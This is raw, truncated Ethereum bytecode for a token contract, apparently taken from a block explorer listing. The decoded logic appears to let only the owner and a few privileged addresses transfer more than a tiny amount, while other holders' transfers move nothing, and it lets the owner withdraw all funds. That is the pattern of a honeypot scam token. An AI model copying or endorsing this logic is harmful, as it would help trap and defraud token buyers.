fffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118635780601f1061183857610100808354040283529160200191611863565b820191906000526020600020905b81548152906001019060200180831161184657829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118c657600080fd5b8260118190555081600f81905550600060108190555080600c90805190602001906118f292919061344d565b50505050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119b85780601f1061198d576101008083540402835291602001916119b8565b820191906000526020600020905b81548152906001019060200180831161199b57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b60095481565b60155481565b6000611b1a600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461341990919063ffffffff16565b905090565b60008060009050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611b895750662386f26fc100008311155b80611be057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80611c385750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80611c8f57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611ce75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611cf0578290505b611d4281600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1481600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee681600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b601760029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461200657600080fd5b8260168190555081601281905550600060158190555080600e908051906020019061203292919061344d565b506001601760016101000a81548160ff021916908315150217905550505050565b600460009054906101000a900460ff1681565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120e957600080fd5b82600a819055508160088190555060006009819055506001601760036101000a81548160ff02191690831515021790555080600d908051906020019061213092919061344d565b50505050565b600f5481565b6000601760029054906101000a900460ff1661215757600080fd5b600a5482111561216657600080fd5b600854600954108061217a57506000600854145b61218357600080fd5b6009600081548092919060010191905055506121e782600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227c82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461238657600080fd5b80600c908051906020019061239c92919061344d565b5050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461242957600080fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561254e5780601f106125235761010080835404028352916020019161254e565b820191906000526020600020905b81548152906001019060200180831161253157829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125b157600080fd5b80601760026101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461262857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601760019054906101000a900460ff1681565b601760039054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127ea57600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561284c573d6000803e3d6000fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561290b5780601f106128e05761010080835404028352916020019161290b565b820191906000526020600020905b8154815290600101906020018083116128ee57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461296c57600080fd5b80601760006101000a81548160ff02191690831515021790555050565b600b5481565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a255780601f106129fa57610100808354040283529160200191612a25565b820191906000526020600020905b815481529060010190602001808311612a0857829003601f168201915b505050505081565b6000806000600f54601054601154925092509250909192565b600a5481565b60008060009050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ab65750662386f26fc100008311155b80612b0d57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80612b655750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80612bbc57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612c145750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15612c1d578290505b612c6f81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0481600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000806000600854600954600a54925092509250909192565b60105481565b60115481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612e3557600080fd5b80600d9080519060200190612e4b92919061344d565b5050565b6000601760029054906101000a900460ff16905090565b600e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612efc5780601f10612ed157610100808354040283529160200191612efc565b820191906000526020600020905b815481529060010190602001808311612edf57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f5d57600080fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613162578082015181840152602081019050613147565b50505050905090810190601f16801561318f5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156131b157600080fd5b505af11580156131c5573d6000803e3d6000fd5b50505050600190509392505050565b600c8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561326a5780601f1061323f5761010080835404028352916020019161326a565b820191906000526020600020905b81548152906001019060200180831161324d57829003601f168201915b505050505081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601760009054906101000a900460ff16905090565b60125481565b601760009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146133a857600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008183029050600083148061340a57508183828161340757fe5b04145b61341357600080fd5b92915050565b60008282111561342857600080fd5b818303905092915050565b600081830190508281101561344757600080fd5b92915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061348e57805160ff19168380011785556134bc565b828001600101855582156134bc579182015b828111156134bb5782518255916020019190600101906134a0565b5b5090506134c991906134cd565b5090565b6134ef91905b808211156134eb5760008160009055506001016134d3565b5090565b9056fea265627a7a7230582022b452ce275fb493a3263efad5aff4a9e966b65400ab85c6b43bb20332af34ec64736f6c634300050a0032

Deployed Bytecode

0x6080604052600436106102fd5760003560e01c8063891f030511610190578063b4bd8af5116100dc578063d4ee1d9011610095578063ee6513ab1161006f578063ee6513ab14611515578063f25417b714611540578063f2fde38b1461156f578063ffe03c2a146115c0576102fd565b8063d4ee1d901461140a578063dd62ed3e14611461578063e9c392ad146114e6576102fd565b8063b4bd8af514611098578063b74fedde14611160578063b86e3f7f1461118f578063c0d786551461121f578063cae9ca5114611270578063d31187ab1461137a576102fd565b806395d89b4111610149578063a9059cbb11610123578063a9059cbb14610f96578063af5faa8b14611009578063b16a0ce514611042578063b19df54b1461106d576102fd565b806395d89b4114610ea25780639d399a9314610f32578063a464c48714610f6b576102fd565b8063891f030514610d0d5780638b5665f014610d3c5780638da5cb5b14610d535780638e0156ec14610daa5780638f0c62cc14610e3a5780639197d57414610e77576102fd565b8063370158ea1161024f57806357eea110116102085780637456f2b9116101e25780637456f2b914610bfa578063783e1bab14610c8a57806379ba509714610cc757806385c3240214610cde576102fd565b806357eea11014610b195780635cd8239014610b4457806370a0823114610b95576102fd565b8063370158ea146108495780634aca1c32146108a05780634de261ef1461097c578063517ee477146109a757806355298871146109fa57806356650ebb14610ac2576102fd565b806316b2cd34116102bc57806323b872dd1161029657806323b872dd1461067a57806325020ea61461070d57806325e827b91461073c578063313ce56714610818576102fd565b806316b2cd34146105f957806317dc90d61461062457806318160ddd1461064f576102fd565b806247bd1b14610308578062caae5b1461039857806301fa497b1461047457806306fdde03146104cb578063095ea7b31461055b57806312169725146105ce575b6103056115e2565b50005b34801561031457600080fd5b5061031d6117cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035d578082015181840152602081019050610342565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103a457600080fd5b50610472600480360360608110156103bb57600080fd5b810190808035906020019092919080359060200190929190803590602001906401000000008111156103ec57600080fd5b8201836020820111156103fe57600080fd5b8035906020019184600183028401116401000000008311171561042057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061186d565b005b34801561048057600080fd5b506104896118f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e0611922565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056757600080fd5b506105b46004803603604081101561057e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119c0565b604051808215151515815260200191505060405180910390f35b3480156105da57600080fd5b506105e3611ab2565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b5061060e611ab8565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610639611abe565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b50610664611ac4565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b506106f36004803603606081101561069d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b1f565b604051808215151515815260200191505060405180910390f35b34801561071957600080fd5b50610722611f9a565b604051808215151515815260200191505060405180910390f35b34801561074857600080fd5b506108166004803603606081101561075f57600080fd5b8101908080359060200190929190803590602001909291908035906020019064010000000081111561079057600080fd5b8201836020820111156107a257600080fd5b803590602001918460018302840111640100000000831117156107c457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611fad565b005b34801561082457600080fd5b5061082d612053565b604051808260ff1660ff16815260200191505060405180910390f35b34801561085557600080fd5b5061085e612066565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ac57600080fd5b5061097a600480360360608110156108c357600080fd5b810190808035906020019092919080359060200190929190803590602001906401000000008111156108f457600080fd5b82018360208201111561090657600080fd5b8035906020019184600183028401116401000000008311171561092857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612090565b005b34801561098857600080fd5b50610991612136565b6040518082815260200191505060405180910390f35b3480156109b357600080fd5b506109e0600480360360208110156109ca57600080fd5b810190808035906020019092919050505061213c565b604051808215151515815260200191505060405180910390f35b348015610a0657600080fd5b50610ac060048036036020811015610a1d57600080fd5b8101908080359060200190640100000000811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b80359060200191846001830284011164010000000083111715610a6e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061232d565b005b348015610ace57600080fd5b50610ad76123a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2557600080fd5b50610b2e6123ca565b6040518082815260200191505060405180910390f35b348015610b5057600080fd5b50610b9360048036036020811015610b6757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123d0565b005b348015610ba157600080fd5b50610be460048036036020811015610bb857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061246d565b6040518082815260200191505060405180910390f35b348015610c0657600080fd5b50610c0f6124b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c4f578082015181840152602081019050610c34565b50505050905090810190601f168015610c7c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c9657600080fd5b50610cc560048036036020811015610cad57600080fd5b81019080803515159060200190929190505050612558565b005b348015610cd357600080fd5b50610cdc6125ce565b005b348015610cea57600080fd5b50610cf361276b565b604051808215151515815260200191505060405180910390f35b348015610d1957600080fd5b50610d2261277e565b604051808215151515815260200191505060405180910390f35b348015610d4857600080fd5b50610d51612791565b005b348015610d5f57600080fd5b50610d68612850565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610db657600080fd5b50610dbf612875565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610dff578082015181840152602081019050610de4565b50505050905090810190601f168015610e2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610e4657600080fd5b50610e7560048036036020811015610e5d57600080fd5b81019080803515159060200190929190505050612913565b005b348015610e8357600080fd5b50610e8c612989565b6040518082815260200191505060405180910390f35b348015610eae57600080fd5b50610eb761298f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ef7578082015181840152602081019050610edc565b50505050905090810190601f168015610f245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610f3e57600080fd5b50610f47612a2d565b60405180848152602001838152602001828152602001935050505060405180910390f35b348015610f7757600080fd5b50610f80612a46565b6040518082815260200191505060405180910390f35b348015610fa257600080fd5b50610fef60048036036040811015610fb957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a4c565b604051808215151515815260200191505060405180910390f35b34801561101557600080fd5b5061101e612db7565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561104e57600080fd5b50611057612dd0565b6040518082815260200191505060405180910390f35b34801561107957600080fd5b50611082612dd6565b6040518082815260200191505060405180910390f35b3480156110a457600080fd5b5061115e600480360360208110156110bb57600080fd5b81019080803590602001906401000000008111156110d857600080fd5b8201836020820111156110ea57600080fd5b8035906020019184600183028401116401000000008311171561110c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612ddc565b005b34801561116c57600080fd5b50611175612e4f565b604051808215151515815260200191505060405180910390f35b34801561119b57600080fd5b506111a4612e66565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156111e45780820151818401526020810190506111c9565b50505050905090810190601f1680156112115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561122b57600080fd5b5061126e6004803603602081101561124257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f04565b005b34801561127c57600080fd5b506113606004803603606081101561129357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156112da57600080fd5b8201836020820111156112ec57600080fd5b8035906020019184600183028401116401000000008311171561130e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612fa1565b604051808215151515815260200191505060405180910390f35b34801561138657600080fd5b5061138f6131d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156113cf5780820151818401526020810190506113b4565b50505050905090810190601f1680156113fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561141657600080fd5b5061141f613272565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561146d57600080fd5b506114d06004803603604081101561148457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613298565b6040518082815260200191505060405180910390f35b3480156114f257600080fd5b506114fb61331f565b604051808215151515815260200191505060405180910390f35b34801561152157600080fd5b5061152a613336565b6040518082815260200191505060405180910390f35b34801561154c57600080fd5b5061155561333c565b604051808215151515815260200191505060405180910390f35b34801561157b57600080fd5b506115be6004803603602081101561159257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061334f565b005b6115c86115e2565b604051808215151515815260200191505060405180910390f35b600066470de4df8200003410156115f857600080fd5b6010600081548092919060010191905055506000670de0b6b3a764000061162a346011546133ec90919063ffffffff16565b8161163157fe5b04905061168681600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118635780601f1061183857610100808354040283529160200191611863565b820191906000526020600020905b81548152906001019060200180831161184657829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118c657600080fd5b8260118190555081600f81905550600060108190555080600c90805190602001906118f292919061344d565b50505050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119b85780601f1061198d576101008083540402835291602001916119b8565b820191906000526020600020905b81548152906001019060200180831161199b57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b60095481565b60155481565b6000611b1a600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461341990919063ffffffff16565b905090565b60008060009050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611b895750662386f26fc100008311155b80611be057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80611c385750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b80611c8f57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611ce75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611cf0578290505b611d4281600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1481600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee681600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150509392505050565b601760029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461200657600080fd5b8260168190555081601281905550600060158190555080600e908051906020019061203292919061344d565b506001601760016101000a81548160ff021916908315150217905550505050565b600460009054906101000a900460ff1681565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120e957600080fd5b82600a819055508160088190555060006009819055506001601760036101000a81548160ff02191690831515021790555080600d908051906020019061213092919061344d565b50505050565b600f5481565b6000601760029054906101000a900460ff1661215757600080fd5b600a5482111561216657600080fd5b600854600954108061217a57506000600854145b61218357600080fd5b6009600081548092919060010191905055506121e782600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227c82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343390919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461238657600080fd5b80600c908051906020019061239c92919061344d565b5050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff